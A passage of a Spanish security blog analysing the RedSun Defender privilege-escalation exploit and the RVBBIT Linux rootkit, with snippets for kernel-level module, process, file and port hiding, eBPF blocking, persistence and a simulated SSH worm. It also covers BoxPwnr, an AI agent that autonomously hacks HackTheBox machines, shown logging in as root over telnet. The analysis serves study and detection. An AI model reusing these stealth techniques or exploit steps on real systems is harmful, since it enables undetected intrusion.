        CloseHandle(h);
    }
}

Mientras tanto:

Defender detecta el EICAR
Intenta limpiar o reescribir
Interactúa con el archivo cloud
Pero el path ya está redirigido

En algún punto, Defender escribe… donde no debería. Y una vez que el binario cae en System32, el resto es trivial:

CoCreateInstance(
    CLSID_TieringEngine,
    NULL,
    CLSCTX_LOCAL_SERVER,
    IID_ITieringInterface,
    (void**)&pInterface);

O cualquier otro mecanismo que dispare ejecución privilegiada. El exploit ya ha ganado antes de llegar aquí.

Contramedidas

Este tipo de bug no se arregla con un parche trivial, porque no es un fallo aislado. Es una interacción entre subsistemas.

Aun así, hay varias líneas de defensa claras:

1. Endurecer Cloud Files API
Validar estrictamente rutas finales tras operaciones de hidratación/escritura.
Evitar que placeholders puedan resolverse a destinos inesperados.

2. Mitigar reparse point abuse
Restringir redirecciones hacia directorios sensibles (System32) en contextos privilegiados.
Especialmente cuando el proceso que escribe es un servicio del sistema.

3. Defender hardening
Asegurar que las operaciones de remediation:

No sigan reparse points peligrosos
Validen canonical paths
Operen en contextos aislados

4. Detección
Indicadores claros:

Uso de CfRegisterSyncRoot fuera de apps legítimas
Creación de placeholders + EICAR
Uso de oplocks en archivos sospechosos
Actividad en %TEMP% con reparse points hacia rutas críticas

5. Reducción de superficie
Deshabilitar o restringir Cloud Files API en entornos donde no sea necesaria.

Conclusiones

Después de leer RedSun de arriba abajo, la conclusión es incómoda. No es un exploit complejo. Es un exploit correcto. Y eso es peor porque demuestra que no necesitas romper nada si entiendes lo suficiente bien cómo encajan las piezas. Solo tienes que colocarlas… en el orden adecuado.

RVBBIT: anatomía de un rootkit LKM moderno basado en stealth, DKOM y anti-eBPF

2026-04-13T01:20:00.004+02:00

En el ecosistema Linux actual, los rootkits han evolucionado de forma notable. Ya no dependen únicamente de explotación o técnicas rudimentarias de ocultación en espacio de usuario. En su lugar, han pasado a operar directamente sobre estructuras internas del kernel y mecanismos de observabilidad modernos.

El proyecto RVBBIT es un buen ejemplo de esta evolución. Se trata de un módulo de kernel diseñado como prueba de concepto educativa, pero que implementa múltiples técnicas de ocultación y persistencia propias de rootkits reales. Aunque ha sido “neutralizado” en cuanto a funcionalidades destructivas, conserva toda la lógica de stealth, lo que lo convierte en un caso de estudio interesante.

Arquitectura general del rootkit

El diseño de RVBBIT se basa en tres pilares fundamentales. Por un lado, el uso de hooking sobre la syscall table, lo que permite interceptar llamadas críticas del sistema. Por otro, la manipulación directa de estructuras internas del kernel mediante DKOM (Direct Kernel Object Manipulation). Finalmente, el uso de resolución dinámica de símbolos mediante kallsyms y kprobes, lo que reduce la dependencia de símbolos exportados.

A esto se suman mecanismos adicionales como la desactivación temporal de protecciones de escritura en el kernel y la limpieza de indicadores de compromiso.

https://github.com/buter-chkalova/project-rvbbit

Característica	Descripción	Estado
Ocultación de módulo	Se quita así mismo de `/proc/modules` y `lsmod` via DKOM.	✅ Enabled
Ocultación de procesos	Oculta un proceso de minado de`ps` y `/proc`.	✅ Enabled
Ocultación de ficheros	Oculta ficheros con un prefijo específico del listado de directorios.	✅ Enabled
Ocultación de puerto TCP	Oculta las conexiones al puerto `3333` desde `/proc/net/tcp`.	✅ Enabled
Bypass de eBPF	Bloquea la carga de programas eBPF no firmados (anti‑detection).	✅ Enabled
Persistencia	Instala un servicio systemd y una entrada modules‑load.d.	✅ Enabled
Minado de criptomonedas	Payload de minado de Monero (XMR)-	❌ REMOVED (simulated)
Propagación de red	Fuerza bruta SSH y gusano auto-propagado.	❌ REMOVED

Ocultación del módulo en el kernel

Uno de los primeros mecanismos de stealth que implementa el código es la ocultación del propio módulo cargado. Esto se realiza eliminando su entrada de las estructuras internas del kernel.


list_del(&__this_module.list);
kobject_del(&__this_module.mkobj.kobj);
strncpy(__this_module.name, "acpi", ...);

Con esto, el módulo deja de aparecer en herramientas como lsmod o en el sistema de archivos virtual /sys. No se trata de un simple filtrado en espacio de usuario, sino de una eliminación directa de las referencias internas que el kernel utiliza para enumerar módulos cargados. El renombrado posterior del módulo actúa como una capa adicional de camuflaje.

Ocultación de procesos mediante DKOM

Uno de los aspectos más relevantes del rootkit es la ocultación de procesos sin depender de hooks en syscalls como getdents. En su lugar, modifica directamente las estructuras del scheduler del kernel.


list_del(&task->tasks);
list_del(&task->sibling);
task->pid_links[PIDTYPE_PID] = NULL;

Al eliminar estas referencias, el proceso deja de formar parte de las listas internas que el kernel utiliza para gestionar y exponer información de procesos. Como resultado, el proceso desaparece no solo de /proc, sino también de herramientas como ps o top.

Este enfoque es significativamente más profundo que el filtrado en espacio de usuario, ya que afecta directamente a la representación interna del sistema operativo.

El código además introduce un mecanismo de control encubierto mediante señales. El envío de la señal 64 a través de kill permite activar dinámicamente la ocultación de un proceso concreto, actuando como canal de control oculto.

Ocultación de ficheros mediante hooking de getdents64

El rootkit también intercepta la syscall getdents64, que es la base de la enumeración de directorios en Linux.

La lógica consiste en recorrer el buffer de resultados y eliminar aquellas entradas que coincidan con un prefijo aleatorio generado en tiempo de ejecución.


if (strstr(dir->d_name, hide_prefix))

Las entradas se eliminan mediante manipulación del buffer devuelto por la syscall, reajustando las estructuras internas para evitar inconsistencias.

Este mecanismo afecta directamente a herramientas como ls o find, pero no elimina los ficheros del sistema, únicamente los oculta en la capa de enumeración.

El uso de un prefijo aleatorio generado con get_random_bytes introduce un componente adicional de evasión, ya que impide la detección basada en firmas estáticas.

Ocultación de conexiones de red

Otra funcionalidad relevante es la ocultación de conexiones TCP. Para ello, el código sustituye la función tcp4_seq_show, utilizada internamente para exponer información de /proc/net/tcp.


if (sk && sk->sk_num == 3333)
    return 0;

De esta forma, cualquier conexión asociada al puerto 3333 desaparece de las herramientas de inspección de red, aunque sigue activa a nivel de kernel.

Este tipo de técnica es habitual en rootkits modernos, ya que la mayoría de herramientas de monitorización dependen de esta interfaz.

Bloqueo de eBPF como mecanismo anti-observabilidad

Uno de los aspectos más interesantes del proyecto es la desactivación de la carga de programas eBPF.


if (cmd == BPF_PROG_LOAD)
    return -EPERM;

Esto impide el uso de herramientas modernas de observabilidad basadas en eBPF, como sistemas de tracing o monitorización de comportamiento en tiempo real.

Más allá de ser una técnica de evasión clásica, esto refleja una tendencia clara: los rootkits modernos no solo intentan ocultarse del usuario, sino también de los sistemas de detección basados en kernel instrumentation.

Persistencia mediante systemd y módulos del kernel

El mecanismo de persistencia combina dos niveles. Por un lado, se escribe una configuración en /etc/modules-load.d para asegurar la carga del módulo. Por otro, se instala un servicio systemd que fuerza su reinyección en el sistema.


call_usermodehelper("/bin/systemctl", ...)

Esto permite que el módulo se cargue automáticamente en cada arranque, incluso si ha sido descargado previamente.

Simulación de minería y comportamiento persistente

Aunque la funcionalidad original de minería ha sido eliminada, el código mantiene una simulación de proceso activo. Este proceso se oculta utilizando el mismo mecanismo de DKOM aplicado a procesos reales y se mantiene vivo mediante una workqueue periódica.

El objetivo no es funcional, sino comportamental: simular la presencia de un proceso persistente típico de cryptominers.

Limpieza de huellas y bypass de protecciones

El módulo incluye mecanismos adicionales que refuerzan su carácter evasivo. Entre ellos destaca la modificación de la variable de taint del kernel, lo que dificulta la detección de modificaciones no estándar del sistema.

También se desactiva temporalmente la protección de escritura del kernel mediante la manipulación del registro CR0, permitiendo la modificación de estructuras críticas como la syscall table.

Hipótesis de implementación: módulo de propagación SSH (worm userland)

Aunque el código de RVBBIT no incluye funcionalidad de propagación, su diseño sugiere claramente una separación entre las capacidades de stealth en kernel space y una posible capa de movimiento lateral en user space. Este patrón es coherente con la arquitectura de muchos rootkits modernos: el kernel se utiliza para ocultación y persistencia, mientras que la propagación se delega a un componente externo más flexible.

En un escenario realista, este módulo de propagación no residiría en el kernel, sino en un proceso auxiliar controlado por el propio rootkit, activado mediante triggers internos (como señales o workqueues). Su objetivo sería realizar descubrimiento de hosts, validación de credenciales SSH y despliegue del payload en sistemas remotos.

A continuación se muestra una implementación simulada y educativa, sin capacidades reales de ataque, que representa la lógica de un gusano SSH típico desde el punto de vista de arquitectura.

#include <stdio.h>
#include <string.h>

#define MAX_HOSTS 8
#define MAX_CREDS 3

/* Lista simulada de objetivos en red local */
static const char *targets[MAX_HOSTS] = {
    "10.0.0.5",
    "10.0.0.8",
    "192.168.1.20",
    "192.168.1.30"
};

/* Credenciales simuladas */
static const char *creds[MAX_CREDS][2] = {
    {"root", "123456"},
    {"admin", "admin"},
    {"user", "password"}
};

/* Simula comprobación de conectividad SSH */
static int simulate_reachability(const char *ip) {
    /* Simulación: todos los hosts son alcanzables */
    return ip != NULL;
}

/* Simula autenticación SSH */
static int simulate_ssh_auth(const char *user, const char *pass) {
    /* En este modelo educativo, solo una credencial es válida */
    if (strcmp(pass, "123456") == 0)
        return 1;
    return 0;
}

/* Simula despliegue del payload */
static void simulate_deploy(const char *ip) {
    printf("[SSH-WORM] Simulated infection on host: %s\n", ip);
}

/* Motor principal del gusano (simulado) */
void ssh_worm_simulation(void) {
    for (int i = 0; i < MAX_HOSTS; i++) {

        if (!targets[i])
            continue;

        if (!simulate_reachability(targets[i]))
            continue;

        for (int j = 0; j < MAX_CREDS; j++) {

            const char *user = creds[j][0];
            const char *pass = creds[j][1];

            if (simulate_ssh_auth(user, pass)) {
                simulate_deploy(targets[i]);
                break;
            }
        }
    }
}

En la arquitectura del rootkit analizado, este módulo no formaría parte del kernel, sino de un componente en espacio de usuario controlado indirectamente. El kernel actuaría únicamente como orquestador, activando la ejecución del gusano mediante triggers internos.

Un ejemplo de integración coherente con el código existente sería el uso del sistema de workqueue ya presente en RVBBIT:

static void demo_work_func(struct work_struct *work) {

    /* lógica existente del fake miner */
    if (fake_miner_pid > 0) {
        struct task_struct *task;
        task = pid_task(find_vpid(fake_miner_pid), PIDTYPE_PID);
        if (!task)
            deploy_fake_miner();
    } else {
        deploy_fake_miner();
    }

    /* extensión conceptual: activación del worm SSH */
    if (ssh_worm_enabled) {
        ssh_worm_simulation();
    }

    queue_delayed_work(demo_wq, &demo_work, msecs_to_jiffies(60000));
}

Y el estado del módulo podría controlarse mediante el mecanismo de señales ya implementado en el rootkit:

if (sig == MAGIC_UNHIDE_SIG) {
    ssh_worm_enabled = 1;
}

Conclusión

RVBBIT no destaca por introducir técnicas nuevas, sino por combinar de forma coherente múltiples mecanismos clásicos de rootkits Linux con algunos elementos más modernos, como el bloqueo de eBPF o el uso de DKOM en estructuras críticas del kernel.

El resultado es un ejemplo claro de cómo un rootkit contemporáneo puede operar en varios niveles del sistema: desde la syscall layer hasta estructuras internas del scheduler, pasando por mecanismos de observabilidad y persistencia.

Más que un malware funcional, este proyecto es útil como herramienta de estudio para entender cómo se construyen las capas de ocultación en sistemas Linux modernos y qué superficies de ataque siguen siendo relevantes para detección y análisis forense.

El inicio de los ordenadores neuronales

2026-04-13T00:09:00.010+02:00

En abril de 2026 apareció en arXiv un paper titulado “Neural Computers”, firmado por investigadores que proponen una idea tan simple de formular como difícil de asimilar: construir sistemas en los que una red neuronal no se limite a ejecutar tareas, sino que sea, en sí misma, el ordenador completo. No un programa dentro de una máquina, no un modelo que usa herramientas externas, sino un sistema donde computación, memoria y ejecución emergen de un único proceso aprendido.

Dicho así suena abstracto, pero la intuición básica es sorprendentemente accesible. Hoy, cuando usas un ordenador, hay muchas piezas trabajando juntas: el sistema operativo, la memoria, el procesador, los programas que abres. Todo está separado, organizado en capas. Si escribes algo en un teclado, esa señal atraviesa múltiples niveles antes de producir un resultado en pantalla. Y, sobre todo, todo sigue reglas explícitas: instrucciones escritas por humanos que la máquina ejecuta sin desviarse.

Ahora imagina otra posibilidad. En lugar de diseñar todas esas piezas, entrenas una red neuronal para que, al recibir entradas —teclas pulsadas, movimientos de ratón— produzca salidas —cambios en la pantalla— que se comporten como las de un ordenador real. No le das acceso al código del sistema, ni a su arquitectura interna. Solo le muestras ejemplos: secuencias de uso. Como si estuviera observando a alguien trabajar frente a un ordenador durante horas.

Al principio, el modelo no entiende nada. Solo intenta predecir la siguiente imagen, el siguiente estado de la pantalla. Pero con suficientes datos, empieza a captar regularidades: que ciertos comandos producen ciertos efectos, que ciertas acciones modifican regiones específicas de la interfaz, que hay estructuras persistentes en el tiempo. Sin haber visto nunca “el interior” del sistema, empieza a reconstruirlo implícitamente. Y en ese momento ocurre el giro conceptual: el modelo ya no está simplemente imitando salidas, está aproximando la lógica que genera esas salidas.

Desde fuera, el comportamiento empieza a parecer el de un ordenador funcional. Escribes algo, responde coherentemente. Navegas por una interfaz, los elementos reaccionan como esperas. Pero internamente no hay procesos, ni memoria direccionable, ni instrucciones ejecutándose paso a paso. Lo que hay es una red cuya dinámica interna —sus activaciones, sus estados latentes— ha aprendido a evolucionar de forma consistente con lo que esperamos de un sistema computacional.

Hasta aquí, la idea puede entenderse como una especie de simulación avanzada. Pero el paper va más allá. Lo que propone no es solo simular ordenadores existentes, sino explorar la posibilidad de sistemas donde la noción misma de programa desaparece. En un ordenador clásico, un programa es una secuencia explícita de instrucciones. En un Neural Computer, esa secuencia no existe como tal. En su lugar, hay patrones distribuidos en la red que codifican comportamientos. La “memoria” no es un espacio donde se leen y escriben datos, sino una configuración persistente del sistema. La “ejecución” no es un bucle que recorre instrucciones, sino una trayectoria en un espacio de estados de alta dimensión.

Este cambio obliga a replantear conceptos fundamentales. Por ejemplo, la programabilidad. En el paradigma tradicional, programar significa escribir código que especifica exactamente qué debe hacer el sistema. Aquí, en cambio, programar se parecería más a entrenar: exponer al sistema a ejemplos, ajustar su comportamiento, moldear su dinámica. No se le dice qué hacer paso a paso; se le enseña a comportarse de cierta manera. Es una diferencia sutil pero profunda: pasamos de describir procedimientos a inducir capacidades.

También cambia la naturaleza de la memoria. En un ordenador clásico, la memoria es explícita, direccionable, separada del procesamiento. Puedes leer una dirección concreta, escribir en ella, inspeccionarla. En un sistema neuronal, la memoria está distribuida. No hay una celda concreta que contenga una variable, sino patrones de activación que, en conjunto, codifican información. Esto hace que la memoria sea más flexible, pero también más opaca: no puedes señalar fácilmente “dónde” está algo.

Desde el punto de vista técnico, los prototipos actuales están lejos de materializar esta visión en su forma completa. Los sistemas descritos en el paper operan principalmente como modelos generativos que predicen secuencias de interacción: dado un historial de entradas y pantallas, generan la siguiente pantalla. Funcionan razonablemente bien en entornos simples —por ejemplo, una terminal o interfaces gráficas básicas—, pero presentan limitaciones claras en estabilidad a largo plazo, reutilización de comportamientos y escalabilidad. A medida que la secuencia se alarga o las tareas se complican, los errores se acumulan y la coherencia se degrada.

Sin embargo, estas limitaciones no invalidan la idea central; más bien la sitúan en una fase temprana, comparable a los primeros experimentos en computación clásica. Lo relevante no es que ya tengamos ordenadores neuronales plenamente funcionales, sino que se ha abierto una vía conceptual distinta: en lugar de seguir refinando arquitecturas donde el modelo es un componente dentro de un sistema mayor, se explora la posibilidad de que el modelo sea el sistema.

Esto tiene implicaciones profundas. Una de ellas es la pérdida de interpretabilidad en el sentido clásico. En un sistema tradicional, podemos rastrear la ejecución, inspeccionar variables, entender por qué ocurre un error. En un sistema completamente neuronal, ese tipo de análisis deja de ser viable. El comportamiento emerge de la interacción de millones o miles de millones de parámetros, y no hay una correspondencia directa entre partes del sistema y funciones específicas. La comprensión se vuelve estadística, no determinista.

Otra implicación es la convergencia entre computación y aprendizaje. Si el sistema se define por lo que ha aprendido, entonces actualizarlo no implica instalar software, sino modificar su entrenamiento. Las fronteras entre usar, programar y entrenar empiezan a difuminarse. Un mismo proceso —ajustar el modelo— puede servir tanto para corregir errores como para añadir nuevas capacidades.

En el fondo, lo que este paper sugiere es un desplazamiento en nuestra forma de entender la computación. Durante décadas, hemos construido máquinas que ejecutan descripciones formales del mundo. Ahora empezamos a construir sistemas que internalizan ese mundo en forma de comportamiento aprendido. No ejecutan reglas; encarnan regularidades.

Quizá la mejor manera de entenderlo sea como un cambio de pregunta. Antes nos preguntábamos: “¿Qué instrucciones debe seguir la máquina?”. Ahora empezamos a preguntarnos: “¿Qué debe haber experimentado este sistema para comportarse así?”. Y en ese cambio, el ordenador deja de ser una entidad rígida que ejecuta código, para convertirse en algo más cercano a un organismo: un sistema cuya identidad está definida por su historia de aprendizaje.

Si esta línea de investigación prospera, es posible que en el futuro dejemos de hablar de software y hardware como entidades separadas. En su lugar, hablaremos de sistemas que han aprendido a ser lo que son. Y entonces, la idea de “usar un ordenador” podría parecer tan limitada como hoy nos parece programar en código máquina.

BoxPwnr: resuelve máquinas de Hackthebox (y otros) con IA

2026-04-11T13:59:00.009+02:00

Durante los últimos años nos hemos acostumbrado a una narrativa bastante cómoda: la inteligencia artificial como asistente. Un copiloto dócil, más o menos brillante, que te sugiere comandos, te completa payloads, te escribe un exploit a medias y, en el peor de los casos, te obliga a corregirle como si fuera un junior con prisa. Nada especialmente disruptivo si llevas tiempo en esto. Más productividad, sí. Más velocidad, también. Pero siempre con un humano al volante, tomando decisiones, descartando caminos absurdos y, sobre todo, asumiendo que el criterio sigue siendo un recurso escaso y humano. Eso ha empezado a cambiar. Y no de forma gradual, precisamente.

Lo que estamos viendo en los últimos meses no es solo una mejora en los modelos, sino un cambio de paradigma bastante más incómodo: el paso de copilotos a agentes cada vez más autónomos. Y no agentes en el sentido marketiniano de “hacen varias cosas encadenadas”, sino agentes que reciben un objetivo, tienen acceso a herramientas reales y se les permite iterar sin supervisión constante. Es decir, sistemas que no solo responden, sino que actúan, observan resultados, recalculan y vuelven a actuar. Si esto lo trasladas al mundo ofensivo, la conclusión es bastante obvia: ya no estás automatizando tareas, estás delegando comportamiento.

¿Y hasta dónde pueden llegar estos agentes a la hora de "hackear" ellos solos distintos entornos? Pues con proyectos como BoxPwnr, creado por Francisco Oca, empezamos a ver resultados cada vez más concluyentes. Empezó como un experimento divertido para ver hasta dónde pueden llegar los LLMs resolviendo máquinas HackTheBox por sí solos. Y a día de hoy se ha extendido también a otras plataformas:

🔬 BoxPwnr Traces & Benchmarks

Platform	Solved	Traces
HTB Starting Point	25/25	770
HTB Labs	268/525	946
HTB Challenges	324/818	735
PortSwigger Labs	163/270	377
XBOW Validation Benchmarks	101/104	526
Cybench CTF Challenges	40/40	1222
picoCTF Challenges	430/509	1198
TryHackMe Rooms	147/477	873
HackBench Benchmarks	11/16	34
LevelUpCTF Challenges	50/255	166
BSidesSF CTF 2026	46/54	96
Cloud Village CTF 2026	12/21	39
Neurogrid CTF: The ultimate AI security showdown	17/36	197

Como veis una de las cosas más interesantes de BoxPwnr es que no se queda en el “mira qué guay”. Se ha utilizado como banco de pruebas contra plataformas conocidas —especialmente Hack The Box y la Web Security Academy de PortSwigger— para medir algo tangible: cuántos retos es capaz de resolver, cuánto tarda, cuántas iteraciones necesita y cuánto cuesta en términos de uso de API.

Los números, sin ser apocalípticos, son lo bastante buenos como para incomodar. En escenarios relativamente guiados, como labs de iniciación o máquinas con vectores claros, las tasas de éxito son sorprendentemente altas. En entornos más abiertos o con cadenas de explotación menos evidentes, el rendimiento cae —y cae bastante—, pero no a cero. Siempre hay ejecuciones en las que, tras suficientes iteraciones, el modelo acaba conectando los puntos.

Lo realmente relevante no es el porcentaje exacto, sino la tendencia: conforme mejoras el modelo, ajustas prompts y refinas estrategias, el rendimiento sube. Y lo hace sin necesidad de “enseñar hacking” de forma explícita en cada paso. Es decir, estamos viendo un sistema que, con acceso a herramientas estándar y suficiente contexto, es capaz de aproximarse al comportamiento de un pentester… aunque sea a base de probar más cosas, más rápido y con menos prejuicios.

Dicho de otra forma: no es especialmente listo, pero es incansable. Y eso, en ofensiva, compensa más de lo que nos gustaría admitir.

¿Cómo funciona realmente BosPwnr?

BoxPwnr utiliza diferentes modelos LLM para resolver de forma autónoma las máquinas mediante un proceso iterativo:

1. Entorno: Todos los comandos se ejecutan en un contenedor Docker con Kali Linux.

El contenedor se crea automáticamente en la primera ejecución (tarda aproximadamente 10 minutos).
La conexión VPN se establece automáticamente mediante la opción `--vpn`.

2. Bucle de ejecución:

El LLM recibe una solicitud detallada del sistema que define su tarea y restricciones.
El LLM sugiere el siguiente comando basándose en los resultados anteriores.
El comando se ejecuta en el contenedor Docker.
El resultado se envía al LLM para su análisis.
El proceso se repite hasta que se encuentra la opción o el LLM necesita ayuda.

3. Automatización de comandos:

El LLM recibe instrucciones para proporcionar comandos totalmente automatizados sin interacción manual.
El LLM debe incluir tiempos de espera adecuados y gestionar los retrasos del servicio en los comandos.
El LLM debe programar todas las interacciones con el servicio (telnet, ssh, etc.) para que no sean interactivas.

4. Resultados:

La conversación y los comandos se guardan para su análisis.
Se genera un resumen cuando se encuentra la opción.
Estadísticas de uso. (tokens, costo) se van loggeando

Un ejemplo inicial

Vamos a aterrizar esto con algo que sí encaja con cómo se usa BoxPwnr hoy en día, sin inventarnos un flujo “demasiado perfecto”. Si has trasteado mínimamente, ya habrás visto que puedes lanzar directamente con uv y modelos open sin siquiera configurar credenciales externas.

Un ejemplo muy básico es tirar contra la máquina inicial Meow de Hack The Box. Básica, sí. Pero para empezar teniendo una superficie simple, vector claro y pocas decisiones donde perderse. El comando de arranque es tal cual:

uv run boxpwnr --platform htb --target meow --model opencode/big-pickle --max-cost 0.5

Sin API keys, sin historias. Y aquí ya hay un matiz importante: el modelo no es especialmente potente. Lo que estás probando no es “la mejor IA posible”, sino si el enfoque funciona incluso con algo relativamente limitado. A partir de aquí, el comportamiento es bastante revelador.

La primera iteración no suele ser brillante. A veces intenta resolver “meow” como hostname, otras lanza directamente un escaneo sin demasiada fineza. Pero tras uno o dos tropiezos iniciales, acaba cayendo en lo obvio:

nmap -sC -sV meow.htb

Resultado:

PORT STATE SERVICE VERSION

23/tcp open telnet Linux telnetd

Y aquí es donde notas la diferencia entre un script tonto y algo con contexto. Porque no se queda en el scan. El modelo “reconoce” que el servicio Telnet puede ser interesante y la siguiente acción suele ser directa: telnet meow.htb

Y aquí pasan varias cosas dependiendo de la ejecución. En algunas, el modelo prueba usuarios genéricos. En otras —y esto es lo interesante— prueba directamente: login: root

Sin password. Y entra.

Una vez dentro, el comportamiento vuelve a ser caótico. Enumera, repite comandos, duda… hasta que en algún momento hace lo obvio: cat /root/flag.txt

Y ahí está. No hay magia. Pero tampoco hay humano.

Y ahora, lo incómodo

Después de ver algo así, es tentador quedarse con la parte tranquilizadora: que comete errores, que no siempre entiende lo que hace, que necesita muchas iteraciones y bastante contexto para acertar. Todo eso es cierto. Pero también lo es esto: hace un año, esto no funcionaba así. Y dentro de un año, probablemente funcionará bastante mejor.

BoxPwnr no es el fin del pentester, ni mucho menos. Pero sí es un aviso bastante claro de hacia dónde se está moviendo esto. Porque cuando combinas modelos cada vez más capaces con acceso a herramientas reales y bucles de decisión autónomos, lo que obtienes no es un asistente más listo, sino algo cualitativamente distinto.

Algo que no solo responde a tus comandos.

Algo que empieza a tener los suyos propios.

~#hackplayers

De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad

🔹 file (disco)

🔹 kernel buffer

🔹 userspace

🔹 socket

🔹 file page cache

🔹 pipe buffer

🔹 socket buffer

Variante ESP

Variante RxRPC

Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)

“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno

La optimización que introduce el bug

La PoCs ya están y son sencillas

El fix (y lo que realmente significa)

Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets

El problema que no se puede parchear

Lo que se vende de IA en la Dark Web (II) — Deepfake-as-a-Service

De phishing a suplantación total

Caso real y recurrente: el CEO que nunca llamó

Cuando la imagen entra en juego

Entonces, ¿hay negocio o no en la Dark Web?

Lo que se vende de IA en la Dark Web (I) — LLMs sin censura

LLMs sin censura: el producto estrella

WormGPT: bajar la barrera de entrada

FraudGPT: el modelo como servicio

El efecto marca: DarkGPT, EvilGPT y compañía

El detalle incómodo: también hay humo

Pero llega Mythos: un modelo muy eficiente que podría hacer tambalear la ciberseguridad

RedSun: anatomía de un 0-day que convierte Defender en SYSTEM

Qué hace RedSun.cpp

oplocks — controlar cuándo ocurre todo

Cloud Files API — el corazón del 0-day

Contramedidas

Conclusiones

RVBBIT: anatomía de un rootkit LKM moderno basado en stealth, DKOM y anti-eBPF

Ocultación del módulo en el kernel

Ocultación de procesos mediante DKOM

Ocultación de ficheros mediante hooking de getdents64

Ocultación de conexiones de red

Bloqueo de eBPF como mecanismo anti-observabilidad

Persistencia mediante systemd y módulos del kernel

Simulación de minería y comportamiento persistente

Limpieza de huellas y bypass de protecciones

Hipótesis de implementación: módulo de propagación SSH (worm userland)

El inicio de los ordenadores neuronales

BoxPwnr: resuelve máquinas de Hackthebox (y otros) con IA

Y ahora, lo incómodo

Qué hace `RedSun.cpp`